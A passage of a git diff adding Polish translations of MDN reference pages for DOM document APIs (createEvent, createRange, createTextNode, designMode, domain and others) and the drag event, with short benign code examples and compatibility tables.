+<p>Nazwy typów zdarzeń, które można przekazać do <code>createEvent</code> określane są przez
+ <i>
+ moduły zdarzeń</i>
+ . Niektóre moduły zdarzeń zdefiniowane są w specyfikacjach DOM Events, niektóre moduły w innych specyfikacjach (jak np. SVG), a pewne typy zdarzeń są specyficzne dla Gecko.</p>
+<p>Szczegóły znajdziesz w poniższej tabeli.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Moduł zdarzeń</th>
+ <th>Typ do przekazania w <code>createEvent</code></th>
+ <th>Metoda używana do inicjalizacji zdarzenia</th>
+ </tr>
+ <tr style="background-color: #eee;">
+ <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings">DOM Level 2 Events</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń interfejsu użytkownika</td>
+ <td><code>"UIEvents"</code></td>
+ <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń myszy</td>
+ <td><code>"MouseEvents"</code></td>
+ <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń mutacji</td>
+ <td><code>"MutationEvents"</code></td>
+ <td><a href="pl/DOM/event.initMutationEvent">event.initMutationEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń HTML</td>
+ <td><code>"HTMLEvents"</code></td>
+ <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td>
+ </tr>
+ <tr style="background-color: #eee;">
+ <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-eventgroupings">DOM Level 3 Events</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń interfejsu użytkownika</td>
+ <td><code>"UIEvent"</code>, <code>"UIEvents"</code></td>
+ <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń myszy</td>
+ <td><code>"MouseEvent"</code>, <code>"MouseEvents"</code></td>
+ <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń mutacji</td>
+ <td><code>"MutationEvent"</code>, <code>"MutationEvents"</code></td>
+ <td><a href="pl/DOM/event.initMutationEvent">event.initMutationEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń mutacji nazw (nie zaimplementowany przez Gecko - czerwiec 2006)</td>
+ <td><code>"MutationNameEvent"</code></td>
+ <td><a href="pl/DOM/event.initMutationNameEvent">event.initMutationNameEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń tekstowych</td>
+ <td><code>"TextEvent"</code> (Gecko obsługuje też <code>"TextEvents"</code>)</td>
+ <td><a href="pl/DOM/event.initTextEvent">event.initTextEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł zdarzeń klawiatury</td>
+ <td><code>"KeyboardEvent"</code> (Gecko obsługuje też <code>"KeyEvents"</code>)</td>
+ <td><a href="pl/DOM/event.initKeyboardEvent">event.initKeyboardEvent</a></td>
+ </tr>
+ <tr>
+ <td>Moduł podstawowych zdarzeń</td>
+ <td><code>"Event"</code> (Gecko obsługuje też <code>"Events"</code>)</td>
+ <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td>
+ </tr>
+ <tr style="background-color: #eee;">
+ <td colspan="3"><a class="external" href="http://www.w3.org/TR/SVG/script.html#DOMInterfaces">SVG 1.1 Scripting</a></td>
+ </tr>
+ <tr>
+ <td rowspan="2">SVG</td>
+ <td><code>"SVGEvents"</code> (Gecko obsługuje też <code>"SVGEvent"</code>)</td>
+ <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td>
+ </tr>
+ <tr>
+ <td><code>"SVGZoomEvents"</code> (Gecko obsługuje też <code>"SVGZoomEvent"</code>)</td>
+ <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td>
+ </tr>
+ <tr style="background-color: #eee;">
+ <td colspan="3">Inne typy zdarzeń obsługiwane przez Gecko <span class="comment">Gecko-related information is taken from nsEventDispatcher::CreateEvent code - see lxr.m.o</span></td>
+ </tr>
+ <tr>
+ <td rowspan="3">-</td>
+ <td><code>"MouseScrollEvents"</code>, <code>"PopupEvents"</code></td>
+ <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td>
+ </tr>
+ <tr>
+ <td><code>"PopupBlockedEvents"</code></td>
+ <td><a href="pl/DOM/event.initPopupBlockedEvent">event.initPopupBlockedEvent</a></td>
+ </tr>
+ <tr>
+ <td><code>"XULCommandEvent"</code>, <code>"XULCommandEvents"</code></td>
+ <td><a href="pl/DOM/event.initCommandEvent">event.initCommandEvent</a></td>
+ </tr>
+ </tbody>
+</table>
+<p>Niektóre zdarzenia mogą być tworzone przy użyciu dwóch nazw typów, ponieważ w specyfikacji DOM Level 3 Events zmieniono nazwy z liczby mnogiej na pojedynczą, pozostawiając nazwy w liczbie mnogiej dla zgodności wstecznej.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 2 Events: createEvent</a></p>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 3 Events: createEvent</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.createEvent", "es": "es/DOM/document.createEvent", "ja": "ja/DOM/document.createEvent" } ) }}</p>
diff --git a/files/pl/web/api/document/createrange/index.html b/files/pl/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..75dbacfe83
--- /dev/null
+++ b/files/pl/web/api/document/createrange/index.html
@@ -0,0 +1,29 @@
+---
+title: document.createRange
+slug: Web/API/Document/createRange
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createRange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca nowy objekt <code><a href="pl/DOM/range">Range</a></code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><var>range</var> = <var>document</var>.createRange();
+</pre>
+<p><code>range</code> jest utworzonym objektem <a href="pl/DOM/range">range</a>.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var range = document.createRange();
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Gdy tylko <code>Range</code> jest utworzony, musisz określić jego punkty graniczne zanim będziesz mógł użyć większości jego metod.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.createRange", "es": "es/DOM/document.createRange" } ) }}</p>
diff --git a/files/pl/web/api/document/createtextnode/index.html b/files/pl/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..1fe0f9bd27
--- /dev/null
+++ b/files/pl/web/api/document/createtextnode/index.html
@@ -0,0 +1,62 @@
+---
+title: document.createTextNode
+slug: Web/API/Document/createTextNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/createTextNode
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Tworzy nowy węzeł tekstowy.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>var tekst</em> = document.createTextNode(<em>tresc</em>)
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>tekst</code> jest węzłem tekstowym</li>
+ <li><code>treść</code> jest ciągiem zawierającym dane do umieszczenia w węźle tekstowym.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode - przyklad&lt;/title&gt;
+&lt;script&gt;
+function dodajWezelTekstowy(tekst) {
+ var nowytekst = document.createTextNode(tekst),
+ p1 = document.getElementById("p1");
+
+ p1.appendChild(nowytekst);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+ &lt;button onclick="dodajWezelTekstowy('TAK! ');"&gt;TAK!&lt;/button&gt;
+ &lt;button onclick="dodajWezelTekstowy('NIE! ');"&gt;NIE!&lt;/button&gt;
+ &lt;button onclick="dodajWezelTekstowy('JASNE! ');"&gt;JASNE!&lt;/button&gt;
+
+ &lt;hr /&gt;
+
+ &lt;p id="p1"&gt;Pierwsza linia paragrafu.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1975348127">createTextNode </a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "ko": "ko/DOM/document.createTextNode" } ) }}</p>
diff --git a/files/pl/web/api/document/defaultview/index.html b/files/pl/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..905a966998
--- /dev/null
+++ b/files/pl/web/api/document/defaultview/index.html
@@ -0,0 +1,24 @@
+---
+title: document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/defaultView
+---
+<p>{{ ApiRef() }}</p>
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>document.defaultView</b> zwraca odnośnik do domyślnego <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a> dokumentu, lub <code>null</code> jeśli żadny nie jest dostępne</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">var docDView = document.defaultView;
+</pre>
+<p>Własność tylko do odczytu.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>document.defaultView</code> jest częścią interfejsu DOM poziomu 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView">DocumentView</a>.</p>
+<p><code>document.defaultView</code> jest głównie odnośnikiem do <a href="pl/DOM/window">okna</a> obiektu dla dokumentu, jednakże nie jest to zdefiniowane w specyfikacji i nie można się na tym opierać we wszystkich środowiskach zwłaszcza, że nie wszystkie przeglądarki to implementują. <span class="comment">it would probably be useful to provide concrete examples here</span></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 Views: defaultView</a></p>
+<p>{{ languages( { "en": "en/DOM/document.defaultView" } ) }}</p>
diff --git a/files/pl/web/api/document/designmode/index.html b/files/pl/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..3956fa8d9e
--- /dev/null
+++ b/files/pl/web/api/document/designmode/index.html
@@ -0,0 +1,53 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+translation_of: Web/API/Document/designMode
+---
+<div>{{ApiRef()}}</div>
+
+<p><strong><code>document.designMode</code></strong> kontroluje czy dokument może być edytowany. Dopuszczalne wartości to <code>"on"</code> (włączona edycja) oraz <code>"off"</code> (wyłączona edycja). Zgodnie ze specyfikacją, wartość domyślna to <code>"off"</code>. Firefox stosuje ten standard. Dla wcześniejszych wersji Chrome oraz IE domyślną wartością było <code>"inherit"</code>. Od wersji Chrome 43, standardem jest wartość <code>"off"</code>, a <code>"inherit"</code> nie jest wspierane. W IE 6-10, wartość jest używana naprzemiennie.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var mode = document.designMode;
+document.designMode = "on" || "off";</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Spraw aby element {{HTMLElement("iframe")}} był edytowalny:</p>
+
+<pre class="brush: js">iframeNode.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Edycja "Rich-Text" w witrynie Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">Właściwości designMode</a> na stronie MSDN</li>
+</ul>
diff --git a/files/pl/web/api/document/doctype/index.html b/files/pl/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..4894005b15
--- /dev/null
+++ b/files/pl/web/api/document/doctype/index.html
@@ -0,0 +1,21 @@
+---
+title: document.doctype
+slug: Web/API/Document/doctype
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/doctype
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca definicję typu bieżącego dokumentu (DTD).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>ciąg</i> = document.doctype
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Atrybut <b>doctype</b> jest tylko do odczytu. Jeżeli nie ma DTD w dokumencie, zwrócone zostaje NULL.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-B63ED1A31">docType</a></p>
+<p>{{ languages( { "en": "en/DOM/document.doctype" } ) }}</p>
diff --git a/files/pl/web/api/document/documentelement/index.html b/files/pl/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..bc729c829f
--- /dev/null
+++ b/files/pl/web/api/document/documentelement/index.html
@@ -0,0 +1,60 @@
+---
+title: document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><strong>Tylko do odczytu</strong></p>
+
+<p>Zwraca <code><a href="pl/DOM/element">Element</a></code> będący bezpośrednim dzieckiem <a href="pl/DOM/document">document</a> (na przykład dla dokumentów HTML jest to element <code>&lt;html&gt;</code>).</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var<em>element</em> = document.documentElement;
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">actual_doc = document.documentElement;
+first_tier = actual_doc.childNodes;
+//first_tier to bezpośrednie dzieci HTML
+for (var i = 0; i &lt; first_tier.length; i++) {
+ //zrób cos z każdym dzieckiem HTML
+ //poprzez first_tier[i]
+}
+</pre>
+
+<pre class="eval">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+// firstTier jest NodeList bezpośredniego dziecka elementu głównego
+for (var i = 0; i &lt; firstTier.length; i++) {
+ // zrób coś z każdym dzieckiem HTML głównego elementu
+ // as firstTier[i]
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ta własność tylko do odczytu jest udogodnieniem w przechwytywaniu elementu HTML, powiązanego z każdym prawidłowym dokumentem HTML.</p>
+
+<p>Powyżej typowy przykład: potrzebujesz w rzeczywistości elementu HTML, aby mieć dostęp do wszystkich jego dzieci, więc używasz tej własności obiektu <code>document</code>, aby go przejąć.</p>
+
+<p>Zauważ też, że zazwyczaj <code>document</code> zawiera jeden węzeł-dziecko - HTML - który sam zawiera wszystkie elementy faktycznego dokumentu jako listę węzłów-dzieci (<code>nodeList</code>).</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></p>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/document.documentElement", "es": "es/DOM/document.documentElement", "fr": "fr/DOM/document.documentElement", "ja": "ja/DOM/document.documentElement" } ) }}</p>
diff --git a/files/pl/web/api/document/domain/index.html b/files/pl/web/api/document/domain/index.html
new file mode 100644
index 0000000000..e64ad2e641
--- /dev/null
+++ b/files/pl/web/api/document/domain/index.html
@@ -0,0 +1,30 @@
+---
+title: document.domain
+slug: Web/API/Document/domain
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/domain
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>domain</b> pobiera/ustawia domenę bieżącego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>ciąg</i> = document.domain
+document.domain =<i>ciąg</i>
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">bad_domain = "www.love.com";
+if ( document.domain == bad_domain ) {
+ window.close();
+}
+// jeśli dokument to www.love.com/good.html,
+// to skrypt zamknie okno
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Właściwość zwraca NULL jezeli nie można zidentyfikować serwera. W specyfikacji DOM własność tą oznaczono jako tylko do oczytu, jednak Mozilla pozwala na jej modyfikację.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-2250147">domain </a></p>
+<p>{{ languages( { "en": "en/DOM/document.domain" } ) }}</p>
diff --git a/files/pl/web/api/document/drag_event/index.html b/files/pl/web/api/document/drag_event/index.html
new file mode 100644
index 0000000000..ccc5d55cbb
--- /dev/null
+++ b/files/pl/web/api/document/drag_event/index.html
@@ -0,0 +1,333 @@
+---
+title: drag
+slug: Web/API/Document/drag_event
+tags:
+ - DOM
+ - Zdarzenie
+ - przeciągnij i upuść
+translation_of: Web/API/Document/drag_event
+---
+<div>{{APIRef}}</div>
+
+<p>Zdarzenie <code>przeciągania</code> uruchamiane jest po przeciągnięciu elementu lub tekstu (co kilkaset milisekund).</p>
+
+<h2 id="Ogólne_informacje">Ogólne informacje</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td>Bąbelkowanie</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Cancelable</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Obiekt docelowy</td>
+ <td>{{domxref("Document")}}, {{domxref("Element")}}</td>
+ </tr>
+ <tr>
+ <td>Interfejs</td>
+ <td>{{domxref("DragEvent")}}</td>
+ </tr>
+ <tr>
+ <td>Domyślna akcja</td>
+ <td>Kontynuuje operacje przeciągania i upuszczania</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+ <td>The element that was underneath the element being dragged.</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>Whether the event normally bubbles or not</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>Whether the event is cancellable or not?</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+ <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>0.</td>
+ </tr>
+ <tr>
+ <td><code>dataTransfer</code></td>
+ <td>DataTransfer</td>
+ <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+ </tr>
+ <tr>
+ <td><code>currentTarget</code> {{readonlyInline}}</td>
+ <td>EventTarget</td>
+ <td>The node that had the event listener attached.</td>
+ </tr>
+ <tr>
+ <td><code>relatedTarget</code> {{readonlyInline}}</td>
+ <td>EventTarget</td>
+ <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>screenX</code> {{readonlyInline}}</td>
+ <td>long</td>
+ <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+ </tr>
+ <tr>
+ <td><code>screenY</code> {{readonlyInline}}</td>
+ <td>long</td>
+ <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+ </tr>
+ <tr>
+ <td><code>clientX</code> {{readonlyInline}}</td>
+ <td>long</td>
+ <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+ </tr>
+ <tr>
+ <td><code>clientY</code> {{readonlyInline}}</td>
+ <td>long</td>
+ <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+ </tr>
+ <tr>
+ <td><code>button</code> {{readonlyInline}}</td>
+ <td>unsigned short</td>
+ <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+ </tr>
+ <tr>
+ <td><code>buttons</code> {{readonlyInline}}</td>
+ <td>unsigned short</td>
+ <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+ </tr>
+ <tr>
+ <td><code>mozPressure</code> {{readonlyInline}}</td>
+ <td>float</td>
+ <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+ </tr>
+ <tr>
+ <td><code>ctrlKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>shiftKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>altKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>metaKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+ &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+ This div is draggable
+ &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+ #draggable {
+ width: 200px;
+ height: 20px;
+ text-align: center;
+ background: white;
+ }
+
+ .dropzone {
+ width: 200px;
+ height: 20px;
+ background: blueviolet;
+ margin-bottom: 10px;
+ padding: 10px;
+ }
+&lt;/style&gt;
+
+&lt;script&gt;
+ var dragged;
+
+ /* events fired on the draggable target */
+ document.addEventListener("drag", function( event ) {
+
+ }, false);
+
+ document.addEventListener("dragstart", function( event ) {
+ // store a ref. on the dragged elem
+ dragged = event.target;
+ // make it half transparent
+ event.target.style.opacity = .5;
+ }, false);
+
+ document.addEventListener("dragend", function( event ) {
+ // reset the transparency
+ event.target.style.opacity = "";
+ }, false);
+
+ /* events fired on the drop targets */
+ document.addEventListener("dragover", function( event ) {
+ // prevent default to allow drop
+ event.preventDefault();
+ }, false);
+
+ document.addEventListener("dragenter", function( event ) {
+ // highlight potential drop target when the draggable element enters it
+ if ( event.target.className == "dropzone" ) {
+ event.target.style.background = "purple";
+ }
+
+ }, false);
+
+ document.addEventListener("dragleave", function( event ) {
+ // reset background of potential drop target when the draggable element leaves it
+ if ( event.target.className == "dropzone" ) {
+ event.target.style.background = "";
+ }
+
+ }, false);
+
+ document.addEventListener("drop", function( event ) {
+ // prevent default action (open as link for some elements)
+ event.preventDefault();
+ // move dragged elem to the selected drop target
+ if ( event.target.className == "dropzone" ) {
+ event.target.style.background = "";
+ dragged.parentNode.removeChild( dragged );
+ event.target.appendChild( dragged );
+ }
+
+ }, false);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Obsługiwane_przeglądarki">Obsługiwane przeglądarki</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>10</td>
+ <td>12</td>
+ <td>3.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatIE("10")}}</td>
